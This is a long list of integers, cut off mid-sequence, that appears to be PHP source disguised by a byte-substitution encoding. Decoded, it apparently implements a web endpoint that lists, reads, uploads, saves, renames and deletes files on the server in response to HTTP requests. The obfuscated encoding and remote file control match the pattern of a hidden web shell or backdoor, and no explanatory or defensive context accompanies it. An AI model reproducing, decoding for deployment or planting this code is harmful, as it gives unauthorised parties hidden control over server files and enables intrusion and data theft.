72, 85, 90, 72, 81, 94, 72, 17, 29, 94, 83, 88, 84, 93, 94, 93, 18, 0, 54, 63, 25, 25, 25, 25, 29, 91, 81, 25, 6, 25, 121, 91, 84, 73, 94, 83, 17, 29, 93, 94, 72, 77, 21, 25, 28, 76, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 91, 81, 18, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 54, 63, 54, 63, 25, 25, 25, 25, 29, 82, 83, 93, 94, 65, 25, 6, 25, 9, 0, 54, 63, 25, 25, 25, 25, 29, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 94, 83, 88, 84, 93, 94, 93, 18, 0, 54, 63, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 25, 6, 25, 11, 14, 14, 8, 11, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 84, 91, 91, 72, 94, 77, 25, 6, 25, 9, 0, 25, 29, 84, 91, 91, 72, 94, 77, 25, 5, 25, 29, 85, 94, 83, 0, 25, 29, 84, 91, 91, 72, 94, 77, 25, 16, 6, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 82, 88, 94, 25, 6, 25, 72, 78, 103, 72, 77, 87, 17, 29, 94, 83, 88, 84, 93, 94, 93, 21, 25, 29, 84, 91, 91, 72, 94, 77, 21, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 72, 85, 82, 88, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 0, 25, 29, 82, 25, 5, 25, 29, 72, 85, 94, 83, 0, 25, 29, 82, 16, 16, 21, 25, 29, 82, 83, 93, 94, 65, 16, 16, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 80, 94, 66, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 65, 84, 87, 100, 80, 94, 66, 17, 29, 82, 83, 93, 94, 65, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 82, 88, 94, 96, 29, 82, 102, 25, 6, 25, 88, 81, 87, 17, 84, 87, 93, 17, 29, 72, 85, 82, 88, 94, 96, 29, 82, 102, 18, 25, 99, 25, 29, 80, 94, 66, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 91, 76, 87, 82, 77, 94, 17, 29, 91, 81, 21, 25, 29, 72, 85, 82, 88, 94, 18, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 64, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 25, 70, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 77, 87, 78, 94, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 122, 127, 122, 97, 25, 122, 105, 114, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 29, 90, 88, 77, 82, 84, 83, 25, 6, 25, 83, 78, 85, 85, 0, 54, 63, 82, 91, 25, 17, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 119, 126, 106, 110, 126, 104, 109, 100, 118, 126, 109, 113, 116, 125, 28, 102, 25, 6, 6, 6, 25, 28, 105, 116, 104, 109, 28, 18, 25, 64, 54, 63, 25, 25, 25, 25, 20, 20, 25, 120, 113, 122, 115, 124, 126, 125, 15, 25, 78, 72, 94, 25, 28, 72, 81, 82, 80, 82, 92, 91, 28, 25, 82, 83, 72, 77, 94, 90, 93, 25, 84, 91, 25, 28, 90, 88, 77, 82, 84, 83, 28, 54, 63, 25, 25, 25, 25, 29, 90, 88, 77, 82, 84, 83, 25, 6, 25, 29, 100, 105, 116, 104, 109, 96, 28, 72, 81, 82, 80, 82, 92, 91, 28, 102, 25, 4, 4, 25, 17, 29, 100, 124, 126, 109, 96, 28, 72, 81, 82, 80, 82, 92, 91, 28, 102, 25, 4, 4, 25, 83, 78, 85, 85, 18, 0, 54, 63, 70, 54, 63, 82, 91, 25, 17, 29, 90, 88, 77, 82, 84, 83, 25, 26, 6, 6, 25, 83, 78, 85, 85, 25, 27, 27, 25, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 119, 126, 106, 110, 126, 104, 109, 100, 118, 126, 109, 113, 116, 125, 28, 102, 25, 6, 6, 6, 25, 28, 105, 116, 104, 109, 28, 18, 25, 64, 54, 63, 25, 25, 25, 25, 29, 73, 90, 77, 81, 25, 6, 25, 87, 94, 74, 78, 94, 72, 77, 94, 93, 100, 73, 90, 77, 81, 17, 29, 119, 116, 116, 109, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 73, 90, 77, 81, 21, 25, 29, 119, 116, 116, 109, 18, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 105, 90, 77, 81, 25, 84, 78, 77, 25, 84, 91, 25, 93, 87, 82, 75, 94, 25, 87, 84, 84, 77, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 72, 76, 82, 77, 88, 81, 25, 17, 29, 90, 88, 77, 82, 84, 83, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 85, 82, 72, 77, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 82, 77, 94, 86, 72, 25, 6, 25, 85, 82, 72, 77, 100, 93, 82, 87, 17, 29, 73, 90, 77, 81, 21, 25, 29, 119, 116, 116, 109, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 73, 90, 66, 85, 84, 90, 93, 25, 6, 25, 90, 87, 87, 90, 66, 100, 86, 90, 73, 17, 91, 78, 83, 88, 77, 82, 84, 83, 17, 29, 82, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 96, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 83, 90, 86, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 83, 90, 86, 94, 39, 102, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 77, 66, 73, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 77, 66, 73, 94, 39, 102, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 72, 82, 79, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 77, 66, 73, 94, 39, 102, 25, 6, 6, 6, 25, 39, 93, 82, 87, 39, 25, 4, 25, 39, 39, 25, 15, 25, 17, 29, 82, 96, 39, 72, 82, 79, 94, 39, 102, 25, 26, 6, 6, 25, 91, 90, 85, 72, 94, 25, 27, 27, 25, 29, 82, 96, 39, 72, 82, 79, 94, 39, 102, 25, 26, 6, 6, 25, 83, 78, 85, 85, 25, 4, 25, 91, 84, 87, 86, 90, 77, 100, 72, 82, 79, 94, 17, 17, 82, 83, 77, 18, 29, 82, 96, 39, 72, 82, 79, 94, 39, 102, 18, 25, 15, 25, 28, 28, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 87, 90, 76, 104, 82, 79, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 77, 66, 73, 94, 39, 102, 25, 6, 6, 6, 25, 39, 93, 82, 87, 39, 25, 4, 25, 9, 25, 15, 25, 17, 17, 82, 83, 77, 18, 29, 82, 96, 39, 72, 82, 79, 94, 39, 102, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 86, 77, 82, 86, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 86, 77, 82, 86, 94, 39, 102, 25, 4, 25, 93, 90, 77, 94, 17, 28, 98, 22, 86, 22, 93, 25, 113, 15, 82, 15, 72, 28, 21, 25, 17, 82, 83, 77, 18, 29, 82, 96, 39, 86, 77, 82, 86, 94, 39, 102, 18, 25, 15, 25, 28, 28, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 73, 90, 77, 81, 39, 25, 6, 3, 25, 29, 82, 96, 39, 73, 90, 77, 81, 39, 102, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 102, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 70, 21, 25, 29, 82, 77, 94, 86, 72, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 84, 80, 39, 25, 6, 3, 25, 77, 87, 78, 94, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 73, 90, 77, 81, 39, 25, 6, 3, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 73, 90, 77, 81, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 39, 25, 6, 3, 25, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 100, 81, 77, 86, 85, 17, 29, 73, 90, 77, 81, 21, 25, 29, 119, 116, 116, 109, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 82, 77, 94, 86, 72, 39, 25, 6, 3, 25, 29, 73, 90, 66, 85, 84, 90, 93, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 20, 31, 25, 110, 73, 85, 84, 90, 93, 15, 25, 119, 122, 108, 25, 105, 116, 104, 109, 25, 103, 84, 93, 66, 25, 17, 97, 116, 119, 25, 72, 77, 87, 94, 90, 86, 18, 21, 25, 73, 90, 87, 90, 86, 72, 25, 82, 83, 25, 110, 119, 117, 15, 25, 83, 90, 80, 65, 83, 25, 17, 81, 94, 65, 18, 21, 25, 86, 94, 80, 82, 77, 82, 83, 83, 90, 25, 31, 20, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 78, 73, 85, 84, 90, 93, 100, 65, 84, 87, 28, 15, 54, 63, 25, 25, 25, 25, 29, 83, 90, 86, 94, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 124, 126, 109, 96, 28, 86, 94, 80, 82, 77, 82, 83, 83, 90, 28, 102, 25, 4, 4, 25, 29, 100, 105, 116, 104, 109, 96, 28, 86, 94, 80, 82, 77, 82, 83, 83, 90, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 83, 90, 86, 94, 25, 6, 6, 6, 25, 28, 28, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 118, 82, 72, 72, 82, 83, 92, 25, 91, 82, 85, 94, 25, 83, 90, 86, 94, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 29, 93, 94, 72, 77, 25, 6, 25, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 103, 90, 72, 94, 83, 90, 86, 94, 17, 29, 83, 90, 86, 94, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 20, 20, 25, 119, 94, 90, 93, 25, 91, 87, 84, 86, 25, 73, 81, 73, 15, 20, 20, 82, 83, 73, 78, 77, 25, 82, 83, 77, 84, 25, 73, 81, 73, 15, 20, 20, 77, 94, 86, 73, 54, 63, 25, 25, 25, 25, 29, 82, 83, 25, 25, 6, 25, 91, 84, 73, 94, 83, 17, 28, 73, 81, 73, 15, 20, 20, 82, 83, 73, 78, 77, 28, 21, 25, 28, 87, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 82, 83, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 120, 90, 83, 83, 84, 77, 25, 84, 73, 94, 83, 25, 82, 83, 73, 78, 77, 25, 72, 77, 87, 94, 90, 86, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 29, 77, 86, 73, 25, 6, 25, 91, 84, 73, 94, 83, 17, 28, 73, 81, 73, 15, 20, 20, 77, 94, 86, 73, 28, 21, 25, 28, 76, 16, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 77, 86, 73, 18, 25, 64, 25, 91, 88, 85, 84, 72, 94, 17, 29, 82, 83, 18, 0, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 120, 90, 83, 83, 84, 77, 25, 88, 87, 94, 90, 77, 94, 25, 77, 94, 86, 73, 25, 72, 77, 87, 94, 90, 86, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 25, 70, 54, 63, 54, 63, 25, 25, 25, 25, 72, 77, 87, 94, 90, 86, 100, 88, 84, 73, 66, 100, 77, 84, 100, 72, 77, 87, 94, 90, 86, 17, 29, 82, 83, 21, 25, 29, 77, 86, 73, 18, 0, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 82, 83, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 76, 82, 83, 93, 17, 29, 77, 86, 73, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 121, 91, 84, 73, 94, 83, 17, 29, 93, 94, 72, 77, 21, 25, 28, 76, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 84, 78, 77, 18, 25, 64, 25, 91, 88, 85, 84, 72, 94, 17, 29, 77, 86, 73, 18, 0, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 120, 90, 83, 83, 84, 77, 25, 84, 73, 94, 83, 25, 93, 94, 72, 77, 82, 83, 90, 77, 82, 84, 83, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 25, 70, 54, 63, 54, 63, 25, 25, 25, 25, 65, 84, 87, 100, 93, 94, 88, 84, 93, 94, 100, 72, 77, 87, 94, 90, 86, 100, 78, 73, 85, 84, 90, 93, 17, 29, 77, 86, 73, 21, 25, 29, 84, 78, 77, 18, 0, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 84, 78, 77, 18, 0, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 77, 86, 73, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 77, 87, 78, 94, 21, 25, 39, 72, 90, 75, 94, 93, 39, 25, 6, 3, 25, 96, 29, 83, 90, 86, 94, 102, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 93, 94, 85, 94, 77, 94, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 83, 90, 86, 94, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 83, 90, 86, 94, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 77, 90, 87, 92, 94, 77, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 77, 90, 87, 92, 94, 77, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 77, 90, 87, 92, 94, 77, 21, 25, 29, 119, 116, 116, 109, 18, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 114, 83, 75, 90, 85, 82, 93, 25, 77, 90, 87, 92, 94, 77, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 80, 25, 6, 25, 82, 72, 100, 93, 82, 87, 17, 29, 77, 90, 87, 92, 94, 77, 18, 25, 4, 25, 121, 87, 86, 93, 82, 87, 17, 29, 77, 90, 87, 92, 94, 77, 18, 25, 15, 25, 121, 78, 83, 85, 82, 83, 80, 17, 29, 77, 90, 87, 92, 94, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 17, 103, 84, 84, 85, 18, 29, 84, 80, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 29, 84, 80, 25, 4, 25, 83, 78, 85, 85, 25, 15, 25, 39, 125, 94, 85, 94, 77, 94, 25, 91, 90, 82, 85, 94, 93, 19, 39, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 87, 94, 83, 90, 86, 94, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 85, 93, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 84, 85, 93, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 83, 94, 76, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 83, 94, 76, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 84, 85, 93, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 29, 83, 94, 76, 25, 6, 6, 6, 25, 28, 28, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 118, 82, 72, 72, 82, 83, 92, 25, 83, 90, 86, 94, 72, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 91, 87, 84, 86, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 84, 85, 93, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 77, 84, 25, 6, 25, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 103, 90, 72, 94, 83, 90, 86, 94, 17, 29, 83, 94, 76, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 91, 87, 84, 86, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 91, 87, 84, 86, 21, 25, 29, 119, 116, 116, 109, 18, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 77, 84, 21, 25, 29, 119, 116, 116, 109, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 114, 83, 75, 90, 85, 82, 93, 25, 73, 90, 77, 81, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 80, 25, 6, 25, 121, 87, 94, 83, 90, 86, 94, 17, 29, 91, 87, 84, 86, 21, 25, 29, 77, 84, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 17, 103, 84, 84, 85, 18, 29, 84, 80, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 29, 84, 80, 25, 4, 25, 83, 78, 85, 85, 25, 15, 25, 39, 119, 94, 83, 90, 86, 94, 25, 91, 90, 82, 85, 94, 93, 19, 39, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 87, 94, 90, 93, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 83, 90, 86, 94, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 83, 90, 86, 94, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 77, 90, 87, 92, 94, 77, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 77, 90, 87, 92, 94, 77, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 77, 90, 87, 92, 94, 77, 21, 25, 29, 119, 116, 116, 109, 18, 25, 69, 69, 25, 26, 82, 72, 100, 91, 82, 85, 94, 17, 29, 77, 90, 87, 92, 94, 77, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 114, 83, 75, 90, 85, 82, 93, 25, 91, 82, 85, 94, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 73, 85, 90, 82, 83, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 87, 94, 90, 93, 100, 91, 82, 85, 94, 100, 73, 85, 90, 82, 83, 17, 29, 77, 90, 87, 92, 94, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 77, 87, 78, 94, 21, 25, 39, 88, 84, 83, 77, 94, 83, 77, 39, 25, 6, 3, 25, 29, 73, 85, 90, 82, 83, 21, 25, 39, 83, 90, 86, 94, 39, 25, 6, 3, 25, 103, 90, 72, 94, 83, 90, 86, 94, 17, 29, 77, 90, 87, 92, 94, 77, 18, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 72, 90, 75, 94, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 83, 90, 86, 94, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 83, 90, 86, 94, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 103, 11, 13, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 88, 84, 83, 77, 94, 83, 77, 100, 103, 11, 13, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 85, 94, 92, 90, 88, 66, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 88, 84, 83, 77, 94, 83, 77, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 77, 90, 87, 92, 94, 77, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 